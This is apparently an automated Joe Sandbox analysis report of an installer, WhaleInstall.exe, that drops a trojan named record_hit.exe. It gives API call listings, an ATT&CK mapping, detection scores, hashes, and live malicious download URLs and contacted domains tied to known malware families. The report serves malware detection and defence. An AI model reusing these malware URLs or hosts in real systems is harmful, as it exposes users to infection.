Source: C:\Users\user\Desktop\record_hit.exe	Code function: wm_ZeroAry,OpenSCManagerA,EnumServicesStatusA,GetProcessHeap,HeapAlloc,EnumServicesStatusA,wm_pbin,RtlMoveMemory,wm_pstr,wm_pstr,OpenServiceA,QueryServiceConfigA,GetProcessHeap,HeapAlloc,QueryServiceConfigA,RtlMoveMemory,wm_UCase,wm_UCase,wm_InStr,wm_UCase,wm_InStr,wm_UCase,wm_InStr,GetProcessHeap,HeapFree,CloseServiceHandle,wm_DoEvents,GetProcessHeap,HeapFree,CloseServiceHandle,	3_2_0040C827
Source: C:\Users\user\Desktop\record_hit.exe	Code function: wm_ZeroAry,OpenSCManagerA,wm_Chr,EnumServicesStatusExA,GlobalAlloc,wm_Chr,EnumServicesStatusExA,wm_pbin,RtlMoveMemory,wm_pstr,wm_pstr,wm_pstr,OpenServiceA,QueryServiceConfigA,GlobalAlloc,QueryServiceConfigA,RtlMoveMemory,wm_pstr,wm_pstr,wm_pstr,wm_UCase,wm_UCase,wm_InStr,wm_UCase,wm_InStr,wm_UCase,wm_InStr,GlobalFree,CloseServiceHandle,GlobalFree,CloseServiceHandle,	3_2_0040E292
Source: C:\Users\user\Desktop\record_hit.exe	Code function: OpenSCManagerA,EnumServicesStatusA,GlobalAlloc,EnumServicesStatusA,GlobalFree,CloseServiceHandle,	3_2_0040DBE8

Source: C:\Users\user\Desktop\WhaleInstall.exe

API coverage: 2.8 %

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\record_hit.exe	Code function: 3_2_00419AF7 lstrcpyA,FindFirstFileA,GetLastError,SetLastError,		3_2_00419AF7
Source: C:\Users\user\Desktop\record_hit.exe	Code function: 3_2_00417689 InternetOpenA,wm_SpaceBin,InternetConnectA,FtpFindFirstFileA,FtpOpenFileA,wm_Open,wm_IsFileExist,wm_Open,wm_Open,wm_SeekToEnd,InternetSetFilePointer,wm_GetTickCount,InternetReadFile,wm_Close,wm_BinLeft,wm_WriteBin,wm_GetTickCount,CallWindowProcA,wm_Close,InternetCloseHandle,		3_2_00417689

Source: WhaleInstall.exe, 00000000.00000002.3249830273.000002AA26C08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: WhaleInstall.exe, 00000000.00000002.3249830273.000002AA26C55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWQ
Source: WhaleInstall.exe, 00000000.00000002.3249830273.000002AA26C8C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\WhaleInstall.exe

Code function: 0_2_00007FF772A7CDC0 free,IsDebuggerPresent,RaiseException,

0_2_00007FF772A7CDC0

Source: C:\Users\user\Desktop\WhaleInstall.exe

Code function: 0_2_00007FF772A77DE0 GetModuleHandleW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,

0_2_00007FF772A77DE0

Source: C:\Users\user\Desktop\record_hit.exe

Code function: 3_2_0040C827 wm_ZeroAry,OpenSCManagerA,EnumServicesStatusA,GetProcessHeap,HeapAlloc,EnumServicesStatusA,wm_pbin,RtlMoveMemory,wm_pstr,wm_pstr,OpenServiceA,QueryServiceConfigA,GetProcessHeap,HeapAlloc,QueryServiceConfigA,RtlMoveMemory,wm_UCase,wm_UCase,wm_InStr,wm_UCase,wm_InStr,wm_UCase,wm_InStr,GetProcessHeap,HeapFree,CloseServiceHandle,wm_DoEvents,GetProcessHeap,HeapFree,CloseServiceHandle,

3_2_0040C827

Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A61180 Sleep,Sleep,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_initterm,	0_2_00007FF772A61180
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772B6E710 SetUnhandledExceptionFilter,	0_2_00007FF772B6E710
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A78639 SetUnhandledExceptionFilter,	0_2_00007FF772A78639
Source: C:\Users\user\Desktop\record_hit.exe	Code function: 3_2_00420106 SetUnhandledExceptionFilter,	3_2_00420106
Source: C:\Users\user\Desktop\record_hit.exe	Code function: 3_2_00420118 SetUnhandledExceptionFilter,	3_2_00420118

Source: C:\Users\user\Desktop\WhaleInstall.exe

Code function: 0_2_00007FF772A62793 ShellExecuteExW,ShellExecuteExW,WaitForSingleObject,CloseHandle,

0_2_00007FF772A62793

Source: C:\Users\user\Desktop\WhaleInstall.exe

Process created: C:\Users\user\Desktop\record_hit.exe "C:\Users\user\Desktop\record_hit.exe"

Jump to behavior

Source: C:\Users\user\Desktop\WhaleInstall.exe

Code function: 0_2_00007FF772A7D3B0 GetSystemTimeAsFileTime,QueryPerformanceFrequency,GetSystemTimeAdjustment,_errno,

0_2_00007FF772A7D3B0

Source: C:\Users\user\Desktop\record_hit.exe

Code function: 3_2_004209A2 GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,strlen,

3_2_004209A2

Source: C:\Users\user\Desktop\record_hit.exe

Code function: 3_2_0041D8BD GetVersionExA,GetEnvironmentVariableA,GetModuleFileNameA,

3_2_0041D8BD

Source: C:\Users\user\Desktop\record_hit.exe	Code function: 3_2_00415040 wm_BinLen,wm_SpaceBin,sprintf,wm_GetBinData,	3_2_00415040
Source: C:\Users\user\Desktop\record_hit.exe	Code function: 3_2_004121F8 wm_BinLen,SQLBindParameter,	3_2_004121F8
Source: C:\Users\user\Desktop\record_hit.exe	Code function: 3_2_004032F1 wm_GetBinData,	3_2_004032F1
Source: C:\Users\user\Desktop\record_hit.exe	Code function: 3_2_0040A363 OpenSCManagerA,OpenServiceA,QueryServiceConfigA,GlobalAlloc,QueryServiceConfigA,wm_pbin,wm_GetBinData,GlobalFree,CloseServiceHandle,CloseServiceHandle,	3_2_0040A363
Source: C:\Users\user\Desktop\record_hit.exe	Code function: 3_2_00411605 SQLAllocHandle,SQLPrepare,SQLFreeHandle,wm_BinLen,SQLBindParameter,wm_BinLen,SQLBindParameter,wm_BinLen,SQLBindParameter,wm_BinLen,SQLBindParameter,wm_BinLen,SQLBindParameter,SQLExecute,SQLRowCount,SQLFreeHandle,	3_2_00411605

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Service Execution	12 Windows Service	1 Exploitation for Privilege Escalation	1 Masquerading	1 Input Capture	2 System Time Discovery	Remote Services	1 Input Capture	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	12 Windows Service	11 Process Injection	LSASS Memory	1 Query Registry	Remote Desktop Protocol	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 Process Injection	1 Deobfuscate/Decode Files or Information	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	3 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 System Service Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	2 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	3 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
WhaleInstall.exe	4%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\guardservice[1].exe	100%	Avira	HEUR/AGEN.1342520
C:\Users\user\Desktop\record_hit.exe	100%	Avira	HEUR/AGEN.1342520
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\guardservice[1].exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\record_hit.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\guardservice[1].exe	58%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\guardservice[1].exe	64%	Virustotal		Browse
C:\Users\user\Desktop\record_hit.exe	58%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Desktop\record_hit.exe	64%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
ext-sq.squarespace.com	0%	Virustotal	Browse
gz.file.myqcloud.com	0%	Virustotal	Browse
sgz-1302338321.cos.ap-guangzhou.myqcloud.com	2%	Virustotal	Browse
www.kenesrakishevinfo.com	11%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://127.0.0.1:8888/test	0%	Avira URL Cloud	safe
http://www.eyuyan.com)DVarFileInfo$	0%	Avira URL Cloud	safe
http://127.0.0.1:8888/testtestMozilla/5.0	0%	Avira URL Cloud	safe
https://file.znhds.com.cn/pd/update/Update.exeD:	0%	Avira URL Cloud	safe
https://sgz-1302338321.cos.ap-guangzhou.myqcloud.com/store_app/guardservice.exe	100%	Avira URL Cloud	malware
https://sgz-1302338321.cos.ap-guangzhou.myqcloud.com/	100%	Avira URL Cloud	malware
https://sgz-1302338321.cos.ap-guangzhou.myqcloud.com/k	100%	Avira URL Cloud	malware
https://www.kenesrakishevinfo.com	0%	Avira URL Cloud	safe
http://127.0.0.1:8888/test	0%	Virustotal		Browse
https://file.znhds.com.cn/pd/update/Update.exeD:	0%	Virustotal		Browse
https://file.znhds.com.cn/pd/update/Update.exe	0%	Avira URL Cloud	safe
https://www.kenesrakishevinfo.com/	0%	Avira URL Cloud	safe
https://www.kenesrakishevinfo.comReferer:	0%	Avira URL Cloud	safe
https://www.kenesrakishevinfo.com	7%	Virustotal		Browse
https://sgz-1302338321.cos.ap-guangzhou.myqcloud.com/	2%	Virustotal		Browse
https://sgz-1302338321.cos.ap-guangzhou.myqcloud.com/store_app/guardservice.exe1	100%	Avira URL Cloud	malware
https://sgz-1302338321.cos.ap-guangzhou.myqcloud.com/store_app/guardservice.exe0	100%	Avira URL Cloud	malware
http://127.0.0.1:8888/testtestMozilla/5.0	0%	Virustotal		Browse
https://www.kenesrakishevinfo.com/api/census/RecordHit	0%	Avira URL Cloud	safe
https://www.kenesrakishevinfo.com/f	0%	Avira URL Cloud	safe
https://www.kenesrakishevinfo.com/l	0%	Avira URL Cloud	safe
https://sgz-1302338321.cos.ap-guangzhou.myqcloud.com/store_app/guardservice.exe	1%	Virustotal		Browse
https://www.kenesrakishevinfo.com/api/census/RecordHitsuccess://record_hit.exerunas(X	0%	Avira URL Cloud	safe
http://whale.naver.com0	0%	Avira URL Cloud	safe
https://www.kenesrakishevinfo.com/	7%	Virustotal		Browse
https://www.kenesrakishevinfo.com/api/census/RecordHitsuccess://record_hit.exerunas(X	12%	Virustotal		Browse
https://file.znhds.com.cn/pd/update/Update.exe	0%	Virustotal		Browse
https://www.kenesrakishevinfo.com/api/census/RecordHit	14%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ext-sq.squarespace.com	198.185.159.144	true	false	0%, Virustotal, Browse	unknown
gz.file.myqcloud.com	159.75.57.69	true	false	0%, Virustotal, Browse	unknown
www.kenesrakishevinfo.com	unknown	unknown	false	11%, Virustotal, Browse	unknown
sgz-1302338321.cos.ap-guangzhou.myqcloud.com	unknown	unknown	false	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://sgz-1302338321.cos.ap-guangzhou.myqcloud.com/store_app/guardservice.exe	false	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.kenesrakishevinfo.com/api/census/RecordHit	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:8888/test	record_hit.exe, record_hit.exe, 00000003.00000000.2036936899.000000000042F000.00000008.00000001.01000000.00000006.sdmp, guardservice[1].exe.0.dr, record_hit.exe.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.eyuyan.com)DVarFileInfo$	record_hit.exe, 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmp, guardservice[1].exe.0.dr, record_hit.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://127.0.0.1:8888/testtestMozilla/5.0	record_hit.exe, 00000003.00000000.2036936899.000000000042F000.00000008.00000001.01000000.00000006.sdmp, guardservice[1].exe.0.dr, record_hit.exe.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://file.znhds.com.cn/pd/update/Update.exeD:	record_hit.exe, 00000003.00000000.2036936899.000000000042F000.00000008.00000001.01000000.00000006.sdmp, guardservice[1].exe.0.dr, record_hit.exe.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://sgz-1302338321.cos.ap-guangzhou.myqcloud.com/	WhaleInstall.exe, 00000000.00000003.2035855940.000002AA26CCD000.00000004.00000020.00020000.00000000.sdmp, WhaleInstall.exe, 00000000.00000002.3249830273.000002AA26CCD000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://sgz-1302338321.cos.ap-guangzhou.myqcloud.com/k	WhaleInstall.exe, 00000000.00000003.2035855940.000002AA26CCD000.00000004.00000020.00020000.00000000.sdmp, WhaleInstall.exe, 00000000.00000002.3249830273.000002AA26CCD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.kenesrakishevinfo.com	WhaleInstall.exe	true	7%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://file.znhds.com.cn/pd/update/Update.exe	record_hit.exe, record_hit.exe, 00000003.00000000.2036936899.000000000042F000.00000008.00000001.01000000.00000006.sdmp, guardservice[1].exe.0.dr, record_hit.exe.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.kenesrakishevinfo.com/	WhaleInstall.exe	true	7%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.kenesrakishevinfo.comReferer:	WhaleInstall.exe	true	Avira URL Cloud: safe	unknown
https://sgz-1302338321.cos.ap-guangzhou.myqcloud.com/store_app/guardservice.exe1	WhaleInstall.exe, 00000000.00000003.2035855940.000002AA26C9B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://sgz-1302338321.cos.ap-guangzhou.myqcloud.com/store_app/guardservice.exe0	WhaleInstall.exe, 00000000.00000002.3249830273.000002AA26C55000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.kenesrakishevinfo.com/f	WhaleInstall.exe, 00000000.00000002.3249830273.000002AA26C55000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://www.kenesrakishevinfo.com/l	WhaleInstall.exe, 00000000.00000002.3249830273.000002AA26C55000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://www.kenesrakishevinfo.com/api/census/RecordHitsuccess://record_hit.exerunas(X	WhaleInstall.exe	true	12%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://whale.naver.com0	WhaleInstall.exe	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
198.185.159.144	ext-sq.squarespace.com	United States		53831	SQUARESPACEUS	false
159.75.57.69	gz.file.myqcloud.com	China		1257	TELE2EU	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1502261
Start date and time:	2024-08-31 21:28:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	WhaleInstall.exe
Detection:	MAL
Classification:	mal76.winEXE@4/3@2/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 83% Number of executed functions: 9 Number of non-executed functions: 231
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target record_hit.exe, PID 5532 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
198.185.159.144	Etisalat Summary Bill for the Month of August.exe	Get hash	malicious	FormBook	Browse	www.trenchonbirmingham.com/pt46/?-ZYp=fvRlPd_pa8MLs2&BXIxB=AkSBx0MHJHngnyc0Mde9hHB0CQHAj9XhopBfdHKzsou0ftXFKmhTuyA9cdbN6/Nfe1ve
	DHL_AWB#6078538091.exe	Get hash	malicious	FormBook	Browse	www.wearelemonpepper.com/e72r/
	Official Salary for the Month of August 2024 - NU1622662404290592.exe	Get hash	malicious	FormBook	Browse	www.trenchonbirmingham.com/pt46/?Cj90E=AkSBx0MHJHngnyc0Mde9hHB0CQHAj9XhopBfdHKzsou0ftXFKmhTuyA9cdbN6/Nfe1ve&GVWh=CdT0vvb
	Quotation.exe	Get hash	malicious	FormBook	Browse	www.comfyquiltsbysusan.com/h209/?CR=_BZD&cr=niYB7N3Tv1T9ZA8aQl5D/0dutZqzeRbiJMYUC3luuLez8bIKIS7SwN5rLAIH71oip+ik
	Novi upit #876567-AWB.exe	Get hash	malicious	FormBook	Browse	www.upcyclecharms.com/md02/?CB=Huvb14v0kOWfNfmpMWoBgNUO4U2JwQZ3Rl/9gDSI5Y6jcOUTIOoj4XqjJygzatFQNadg&zVxh=-ZtHx
	DHL_AWB#6078538091.exe	Get hash	malicious	FormBook	Browse	www.wearelemonpepper.com/e72r/
	B7LYVhSNq5.exe	Get hash	malicious	FormBook	Browse	www.c21candacedevillier.com/pt46/?lX6d=juTj2rfRSqHvAITBUbqzzxTRMKWA9ufu1NUc9jBfrISz1lyGOImi/gzoQHs3cbdDVJJUwIH2Ng==&7nDT2=FTjhCL_
	Narud#U017ebenica 08BIH2024.exe	Get hash	malicious	FormBook	Browse	www.upcyclecharms.com/md02/?Q0GDHL=SVcP4HZHyROl5&V41t=Huvb14v0kOWfNfmpMWoBgNUO4U2JwQZ3Rl/9gDSI5Y6jcOUTIOoj4XqjJyszJ9ZVOt8xpVdhjQ==
	bSecDbrnMO4yqnP.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.thepeacedealers.com/ps15/?Bh=+OvncPmxK4E3ovTf4IdVLliDjSzyCopJXOwX4tpaGEeHBcqDgavndBw1dSLTJkdWFUFD&DxoLiH=dbYdUphHwt44W
	Pedido de Cota#U00e7#U00e3o - RFQ 31072024_Lista comercial.bat.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.aheryth-bijoux.com/sy52/?zZkpfv=g3WckUcFz9VsU9Zo8FH0zc7flc6NWLaCqRh/9evboOVfwsnZllaYlk6dQFZlcvHqzZ2F&U6hHV=O2Mlk2lPxnDHfx
159.75.57.69	dllhostpgd.exe	Get hash	malicious	CobaltStrike	Browse	live-1318631876.cos.ap-guangzhou.myqcloud.com/animations/CRqb4SeTO3U8Cj
159.75.57.69	dllhostpgd.exe	Get hash	malicious	CobaltStrike	Browse	live-1318631876.cos.ap-guangzhou.myqcloud.com/animations/CRqb4SeTO3U8Cj

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gz.file.myqcloud.com	uMGZmwaXI2.exe	Get hash	malicious	BlackMoon	Browse	159.75.57.69
	LisectAVT_2403002B_246.exe	Get hash	malicious	Unknown	Browse	159.75.57.69
	LisectAVT_2403002B_246.exe	Get hash	malicious	Unknown	Browse	159.75.57.36
	LisectAVT_2403002B_78.exe	Get hash	malicious	Unknown	Browse	159.75.57.35
	LisectAVT_2403002B_78.exe	Get hash	malicious	Unknown	Browse	159.75.57.36
	2IVWAPeiZm.exe	Get hash	malicious	GhostRat	Browse	159.75.57.35
	#U75c5#U6bd2#U67e5#U6740#U5de5#U5177.exe	Get hash	malicious	Unknown	Browse	159.75.57.36
	#U75c5#U6bd2#U67e5#U6740#U5de5#U5177.exe	Get hash	malicious	Unknown	Browse	159.75.57.35
	dllhostpgd.exe	Get hash	malicious	CobaltStrike	Browse	159.75.57.69
	dllhostpgd.exe	Get hash	malicious	CobaltStrike	Browse	159.75.57.69
ext-sq.squarespace.com	Etisalat Summary Bill for the Month of August.exe	Get hash	malicious	FormBook	Browse	198.185.159.144
	WebAdvisorInstall.exe	Get hash	malicious	LockBit ransomware	Browse	198.185.159.144
	F-Secure-Safe-Network-Installer.exe	Get hash	malicious	LockBit ransomware	Browse	198.185.159.144
	pkgconsole.exe	Get hash	malicious	AsyncRAT, Discord Token Stealer, MicroClip, RedLine	Browse	198.185.159.144
	bof.exe	Get hash	malicious	LockBit ransomware, PureLog Stealer, RedLine, zgRAT	Browse	198.185.159.144
	DHL_AWB#6078538091.exe	Get hash	malicious	FormBook	Browse	198.185.159.144
	7z.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	198.185.159.144
	ctrsys.exe	Get hash	malicious	Agent Tesla, AgentTesla, LockBit ransomware	Browse	198.185.159.144
	Official Salary for the Month of August 2024 - NU1622662404290592.exe	Get hash	malicious	FormBook	Browse	198.185.159.144
	https://www.alpaca-6t8b-reliantvision.com/	Get hash	malicious	Unknown	Browse	198.185.159.144

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SQUARESPACEUS	Etisalat Summary Bill for the Month of August.exe	Get hash	malicious	FormBook	Browse	198.185.159.144
	https://rebrand.ly/340957	Get hash	malicious	Unknown	Browse	198.185.159.177
	http://round-puma-h6za.squarespace.com	Get hash	malicious	Unknown	Browse	198.185.159.177
	WebAdvisorInstall.exe	Get hash	malicious	LockBit ransomware	Browse	198.185.159.144
	F-Secure-Safe-Network-Installer.exe	Get hash	malicious	LockBit ransomware	Browse	198.185.159.144
	pkgconsole.exe	Get hash	malicious	AsyncRAT, Discord Token Stealer, MicroClip, RedLine	Browse	198.185.159.144
	bof.exe	Get hash	malicious	LockBit ransomware, PureLog Stealer, RedLine, zgRAT	Browse	198.185.159.144
	DHL_AWB#6078538091.exe	Get hash	malicious	FormBook	Browse	198.185.159.144
	7z.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	198.185.159.144
	http://shop.pe	Get hash	malicious	Unknown	Browse	198.185.159.144
TELE2EU	SecuriteInfo.com.Linux.Siggen.9999.15938.22369.elf	Get hash	malicious	Mirai	Browse	176.71.102.32
	sora.spc.elf	Get hash	malicious	Unknown	Browse	5.242.109.197
	sora.arm.elf	Get hash	malicious	Unknown	Browse	5.242.97.252
	sora.x86.elf	Get hash	malicious	Unknown	Browse	83.179.44.219
	jew.x86.elf	Get hash	malicious	Unknown	Browse	91.130.14.13
	xd.x86.elf	Get hash	malicious	Mirai	Browse	176.68.180.196
	xWTju4vS5W	Get hash	malicious	Mirai	Browse	90.129.56.241
	SecuriteInfo.com.Linux.Siggen.9999.22286.12230.elf	Get hash	malicious	Mirai	Browse	176.64.125.34
	arm6-20240814-0111.elf	Get hash	malicious	Mirai	Browse	90.135.40.201
	teste.arm7.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	83.185.2.128

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	1p5yg5LO0h.exe	Get hash	malicious	Vidar	Browse	159.75.57.69 198.185.159.144
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	159.75.57.69 198.185.159.144
	deadlock-aimbot-run.exe	Get hash	malicious	Unknown	Browse	159.75.57.69 198.185.159.144
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, Stealc, Vidar	Browse	159.75.57.69 198.185.159.144
	sharp.exe	Get hash	malicious	Unknown	Browse	159.75.57.69 198.185.159.144
	sharp.exe	Get hash	malicious	Unknown	Browse	159.75.57.69 198.185.159.144
	SecuriteInfo.com.FileRepMalware.18455.13769.exe	Get hash	malicious	GuLoader	Browse	159.75.57.69 198.185.159.144
	10OyRBv3Qo.hta	Get hash	malicious	Unknown	Browse	159.75.57.69 198.185.159.144
	file.exe	Get hash	malicious	Vidar	Browse	159.75.57.69 198.185.159.144
	gHPYUEh253.exe	Get hash	malicious	Djvu, Neoreklami, Stealc, Vidar, Xmrig	Browse	159.75.57.69 198.185.159.144

Process:	C:\Users\user\Desktop\WhaleInstall.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	307200
Entropy (8bit):	6.08552684521388
Encrypted:	false
SSDEEP:	6144:UNAUAhuQ/F+H0iJWrRju5Vn7Ioppea+GGwZ+RzeRCPGMer5v:UNAeQ/FSTE/oXBRV5v
MD5:	2D5F648D414ED7303D00D43ACBF4F315
SHA1:	DFFA94C727639C8252CC14D4CD5E7593DE54358E
SHA-256:	93A3A7A9659BDFA16A9A9A879C92516C9D50D798539894EAF6F4B3F6FF8086DD
SHA-512:	FF590BC4E38CEF93E266E18D101FC8EB762857D42A451F78653B9BBE27544558E08390FABFDA4766A702445F88C4FF4CD71400DA3D424F45D08816BB3B23574F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58% Antivirus: Virustotal, Detection: 64%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........n`..3..3..3...3..3...3..3@.]3...3...3..3@..3..3...3C..3...3...3...3...3+..3...3..3...3<..3..3..3..3...3..3+..3..3Rich..3........PE..L......f..........................................@.............................................................................h....@...e...........................................................................................................text...B........................... ..`.rdata...L.......P..................@..@.data....G.......P..................@....rsrc....e...@...p...@..............@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\record_hit.exe

Download File

Process:	C:\Users\user\Desktop\WhaleInstall.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	307200
Entropy (8bit):	6.08552684521388
Encrypted:	false
SSDEEP:	6144:UNAUAhuQ/F+H0iJWrRju5Vn7Ioppea+GGwZ+RzeRCPGMer5v:UNAeQ/FSTE/oXBRV5v
MD5:	2D5F648D414ED7303D00D43ACBF4F315
SHA1:	DFFA94C727639C8252CC14D4CD5E7593DE54358E
SHA-256:	93A3A7A9659BDFA16A9A9A879C92516C9D50D798539894EAF6F4B3F6FF8086DD
SHA-512:	FF590BC4E38CEF93E266E18D101FC8EB762857D42A451F78653B9BBE27544558E08390FABFDA4766A702445F88C4FF4CD71400DA3D424F45D08816BB3B23574F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58% Antivirus: Virustotal, Detection: 64%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........n`..3..3..3...3..3...3..3@.]3...3...3..3@..3..3...3C..3...3...3...3...3+..3...3..3...3<..3..3..3..3...3..3+..3..3Rich..3........PE..L......f..........................................@.............................................................................h....@...e...........................................................................................................text...B........................... ..`.rdata...L.......P..................@..@.data....G.......P..................@....rsrc....e...@...p...@..............@..@................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\WhaleInstall.exe
